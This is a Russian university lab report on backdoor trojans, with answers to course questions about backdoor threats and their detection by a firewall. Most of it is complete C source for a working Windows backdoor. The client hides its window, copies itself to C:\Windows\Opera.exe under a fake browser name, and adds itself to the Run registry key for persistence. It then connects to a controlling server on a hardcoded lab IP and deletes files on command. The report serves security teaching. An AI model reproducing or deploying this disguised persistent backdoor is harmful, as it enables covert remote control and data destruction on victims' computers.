4 лабораторная работа «Защита от встраиваемых потайных ходов». Лабораторная работа 4 Защита от встраиваемых потайных ходов по дисциплине Основы информационной безопасности
Скачать 62.28 Kb.
|
Министерство образования и науки Российской Федерации Санкт-Петербургский Политехнический Университет Петра Великого — Институт прикладной математики и механики Кафедра «Информационная безопасность компьютерных систем» ЛАБОРАТОРНАЯ РАБОТА № 4 «Защита от встраиваемых потайных ходов» по дисциплине «Основы информационной безопасности» Выполнили студент гр. 4851001/10002 Сергеев Н.С. <подпись> Проверил преподаватель Калинин М.О. <подпись> Санкт-Петербург 2022 Цель работы Приобрести навыки по анализу структуры, функциональности и угроз специально встраиваемого дефекта программного продукта – потайного хода (backdoor), а также изучить методы защиты от уязвимостей такого вида. Ход работы Использованные методы маскировки: Для маскировки клиентская часть программы запускается без окна. Название программы похоже на название исполняемого файла одного из распространённых веб браузеров, что должно вызвать дополнительное доверие. При прописывании ключа в реестре для автозагрузки используется строка «Opera browser», что намекает на необходимость запуска. Описание добавления программы-клиента в автозагрузку: Поскольку предполагается использование потайного хода на Windows-системе, клиентская программа добавляет в системный реестр ключ для автоматической загрузки вместе с системой. В исходном коде клиента это метод autoloading();. Перед этим программа копирует себя в системный каталог, и прописывает автозапуск для исполняемого файла уже из диска C. Таким образом, удаление первоначального файла не приведёт к решению проблемы. void autoloading() { HKEY hKey = NULL; char way[0x100]; GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey); if (rc == ERROR_SUCCESS) { way[0] = '\0'; strcpy(way, "C:\\Windows\\Opera.exe"); RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра RegCloseKey(hKey); } else { printf("Error!"); } } Межсетевой экран Comodo: Установив программный межсетевой экран “Comodo Фаервол” на атакуемый компьютер, фиксируем список открытых сетевых портов, а также отмечаем поведение межсетевого экрана на запуск клиента:
После того, как разрешаем запрос на соединение, фиксируем сетевые порты, которые ими использовались. Блокируем их и по новой производим запуск клиента и сервера. После блокировки порта соединение с сервером не было установлено.
Результаты работы программы: При первичном запуске программа-клиент добавляет себя в автозагрузку, выполняется без окна, производит удаление файла по запросу программы-сервера. Однако, клиент виден при просмотре в диспетчере задач на атакуемой машине. При удалении исполняемого файла и перезагрузки системы, клон программы на диске C выполняет те же операции, его также можно обнаружить в диспетчере задач. Ответы на вопросы Какие угрозы несут потайные ходы? Потайной ход позволяет копировать, удалять файлы с пораженного компьютера, позволяет получить удаленный доступ к реестру, производить системные операции: создание новых сетевых ресурсов, модификацию паролей и т.д. Как можно обнаружить потайной ход, если он открывает порт только на короткие промежутки времени, которые заранее не известны? Для того, чтобы обнаружить потайной ход, нужно регулярно осуществлять проверку открытых портов, а также установить специальную программу-монитор (например, Commodo Internet Security,) которая позволяет обнаруживать такие программы. Можно ли использовать потайные ходы для организации распределенной атаки типа «отказ в обслуживании»? Да, потайные ходы можно использовать для организации распределенной атаки отказа в обслуживании, например, заставлять так называемых “зомби” отправлять запрос на определенный сервер, таким образом при очень большом количестве запросов, сервер перестает работать в нормальном режиме и отвечать на запросы. Каким образом можно удалить процесс программы-клиента из списка задач Диспетчера задач? Вызвать Диспетчер задач. Выделяется нужный процесс, и в нижнем правом углу появляется активируется кнопка “Снять задачу”. После нажатия задача перестает быть активной. Опишите схему работы потайного хода, использующего для удаленного управления Telnet-сервер. Telnet – это сервер, который обслуживает протокол TELNET. Обычно telnet запускается через сервис Internet, в некоторых системах может быть запущен вручную. Telnet обслуживает TCP-порт 23, но может быть запущен и на другой порт. Принцип работы сервера заключается в том, что он “слушает” порт TCP. В случае поступления запроса на обслуживание, telnet назначает каждому удаленному клиенту псевдотерминал в качестве стандартного файла ввода, вывода, ошибок. При установке взаимодействия с удаленным клиентом telnet обменивается командами настройки (эхо, обмен двоичной информацией, тип терминала, скорость обмена). После подключения удаленный пользователь должен ввести имя пользователя и пароль. После входа в систему пользователь видит командную строку, которую можно использовать, как будто эта командная строка была запущена локально в консоли сервера. Команды, вводимые в командной строке клиента, отправляются на сервер и выполняются там, как будто пользователь локально подключился к сеансу командной строки на сервере. Выводы В ходе работы мы ознакомились со шпионским программным обеспечением, а именно потайными ходами. Мы узнали, структуру потайных ходов, их функции, какие опасности представляют эти программы для компьютеров, а также какими действиями и мероприятиями можно защитить свой компьютер от рук злоумышленников. Слабо продвинутый пользователь может долгое время работать на системе, в которой присутствует Backdoor, и даже не подозревать, что его компьютер используется в нелегальных целях. Его выход в интернет может использоваться для сетевых атак, для сканирования сетей или для скрытого сбора информации. Приложение 1 #undef UNICODE #define _CRT_SECURE_NO_WARNINGS #define WIN32_LEAN_AND_MEAN #include #include #include #include #include #include #pragma comment (lib, "Ws2_32.lib") //соответствующиq lib-файл для winsock2.h #define DEFAULT_BUFLEN 260 #define DEFAULT_PORT "1111" //номер порта int main() { SetConsoleCP(1251); // SetConsoleOutputCP(1251); //распознование кириллицы в консоли int Result; //Инициализация Winsock WSADATA wsaData; //для инициализации сокетов WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки Result = WSAStartup(DLLVersion, &wsaData); //В случае успеха функция возвращает нулевое значение if (Result != 0) { printf("Error!\n"); return 1; } struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета struct addrinfo hints; // подсказки о типе сокета ZeroMemory(&hints, sizeof(hints)); //заполняем память 0 hints.ai_flags = AI_PASSIVE; //назначить сокету адрес моего хоста (адрес сокета будет исп. при вызове функции привязки) hints.ai_family = AF_INET; //указание версии протокола hints.ai_socktype = SOCK_STREAM; //обеспечивает последовательные, надежные, двусторонние байтовые потоки hints.ai_protocol = IPPROTO_TCP; //TCP — один из основных протоколов передачи данных интернета, предназначенный для управления передачей данных // Перевод имени хоста в адрес Result = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result); if (Result != 0) { printf("Error!\n"); WSACleanup(); return 1; } // Создать сокет для подключения к серверу SOCKET ListenSocket = INVALID_SOCKET; ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); //создание сокета, домен, тип канала, протокол if (ListenSocket == INVALID_SOCKET) { printf("Error! Создать сокет не удалось\n"); freeaddrinfo(result); WSACleanup(); return 1; } // Настройте сокет прослушивания TCP (прослушивания запросов на установку соединения) // Привязать имя к сокету Result = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); //адрес, длина адреса if (Result == SOCKET_ERROR) { printf("Error!\n"); freeaddrinfo(result); closesocket(ListenSocket); WSACleanup(); return 1; } freeaddrinfo(result); Result = listen(ListenSocket, SOMAXCONN); //информируем ОС, что мы ожидаем ("слушаем") запросы связи на данном сокете if (Result == SOCKET_ERROR) { printf("Error!\n"); closesocket(ListenSocket); WSACleanup(); return 1; } // Принять клиентский сокет (принятия связи на сокет) SOCKET ClientSocket = INVALID_SOCKET; ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("Error!\n"); closesocket(ListenSocket); WSACleanup(); return 1; } printf("Успешно подключен к клиенту и готов удалить файл\nВведите путь: "); char way[DEFAULT_BUFLEN]; scanf("%s", way); way[strlen(way)] = '\0'; Result = send(ClientSocket, way, (int)strlen(way), 0); //запись данных в клиентский сокет if (Result == SOCKET_ERROR) { printf("Отправить не удалось\n"); closesocket(ClientSocket); WSACleanup(); } way[0] = '\0'; //печатает удалился ли файл int len = DEFAULT_BUFLEN; Result = recv(ClientSocket, way, len, 0); //чтение данных из клиентского сокета int i = 0; while (way[i] != '\0') { printf("%c", way[i]); i++; } _getch(); return 1; } Приложение 2 #define WIN32_LEAN_AND_MEAN #define _CRT_SECURE_NO_WARNINGS #include #include #include #include #include #include #pragma comment (lib, "Ws2_32.lib") #pragma comment (lib, "Mswsock.lib") #pragma comment (lib, "AdvApi32.lib") #define DEFAULT_BUFLEN 260 #define DEFAULT_PORT "1111" void autoloading() { HKEY hKey = NULL; char way[0x100]; GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey); if (rc == ERROR_SUCCESS) { way[0] = '\0'; strcpy(way, "C:\\Windows\\Opera.exe"); RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра RegCloseKey(hKey); } else { printf("Error!"); } } int main() { SetConsoleCP(1251); // SetConsoleOutputCP(1251); //распознование кириллицы в консоли FreeConsole(); autoloading(); int Result; //Инициализация Winsock WSADATA wsaData; //для инициализации сокетов WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки DLL Result = WSAStartup(DLLVersion, &wsaData); //В случае успеха функция возвращает нулевое значение if (Result != 0) { printf("Error!\n"); return 1; } struct addrinfo hints; // подсказки о типе сокета ZeroMemory(&hints, sizeof(hints)); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; // Перевод имени хоста в адрес struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета Result = getaddrinfo("192.168.56.1", DEFAULT_PORT, &hints, &result); //ip-адрес для соединения, порт if (Result != 0) { printf("Error!\n"); WSACleanup(); return 1; } // Попытка соединиться с адресом SOCKET ConnectSocket = INVALID_SOCKET; struct addrinfo *ptr = NULL; for (ptr = result; ptr != NULL; ptr = ptr->ai_next) { // Создать сокет для подключения к серверу ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol); if (ConnectSocket == INVALID_SOCKET) { printf("Error!\n"); WSACleanup(); return 1; } // Подключиться к серверу Result = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen); if (Result == SOCKET_ERROR){ closesocket(ConnectSocket); ConnectSocket = INVALID_SOCKET; continue; } break; } freeaddrinfo(result); if (ConnectSocket == INVALID_SOCKET){ printf("Невозможно подключиться к серверу!\n"); printf("Ожидание"); _getch(); WSACleanup(); return 1; } char recvbuf[DEFAULT_BUFLEN]; int recvbuflen = DEFAULT_BUFLEN; for (int i = 0; i < recvbuflen; i++) recvbuf[i] = '\0'; Result = recv(ConnectSocket, recvbuf, recvbuflen, 0); int k = remove(recvbuf); if (k == -1){ send(ConnectSocket, "Delete error\n", 14, 0); //запись данных в сервер сокет } else{ send(ConnectSocket, "Successful delete\n", 19, 0); //запись данных в сервер сокет } _getch(); return 1;} |